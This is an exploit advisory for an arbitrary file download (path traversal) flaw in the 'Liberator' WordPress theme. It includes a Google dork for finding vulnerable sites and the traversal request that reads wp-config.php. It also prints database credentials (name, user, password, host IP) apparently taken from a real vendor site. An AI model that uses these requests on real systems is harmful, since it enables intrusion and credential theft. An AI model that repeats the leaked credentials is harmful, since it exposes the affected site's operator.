############################################################################################ # Exploit Title : WordPress 5.1.1 Liberator Themes Arbitrary File Download # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 18/03/2019 # Vendor Homepage : wordpress.org ~ televox.com # Software Information Link : televox.com/website-design/ televox.com/webvox/wp-content/themes/liberator/readme.txt # Software Affected Version : 4.x - 5.x - 5.1.1 # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Google Dorks : inurl:"/wp-content/themes/liberator/inc/" # Vulnerability Type : CWE-200 [ Information Exposure ] CWE-23 [ Relative Path Traversal ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos ############################################################################################ # Impact : *********** * WordPress 5.1.1 Liberator Themes is prone to a vulnerability that lets attackers download arbitrary files because the application fails to sufficiently sanitize user-supplied input. An attacker can exploit this issue to download arbitrary files within the context of the web server process and obtain potentially sensitive informations and it works for open redirection vulnerability. * An information exposure is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information. * The software has Relative Path Traversel vulnerability and it uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory. ############################################################################################ Vulnerable File => /download.php Vulnerable Parameter => ?download_file= # Arbitrary File Download Exploit : ******************************* /PATH/wp-content/themes/liberator/inc/php/download.php?download_file=[FILENAME] /wp-content/themes/liberator/inc/php/download.php?download_file=[FILENAME] /wp-content/themes/liberator/inc/php/download.php?download_file=../../wp-config.php Informations About MySQL Configuration File => ******************************************* ** The name of the database for WordPress */ define('DB_NAME', ''); /** MySQL database username */ define('DB_USER', ''); /** MySQL database password */ define('DB_PASSWORD', ''); /** MySQL hostname */ define('DB_HOST', ''); ############################################################################################ [+] televox.com/webvox/wp-content/themes/liberator/inc/php/download.php?download_file=../../wp-config.php ** The name of the database for WordPress */ define('DB_NAME', 'wpwestprod'); /** MySQL database username */ define('DB_USER', 'srvwpuser'); /** MySQL database password */ define('DB_PASSWORD', '3ncrypt3d^01'); /** MySQL hostname */ define('DB_HOST', '75.78.178.16'); ############################################################################################ # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ############################################################################################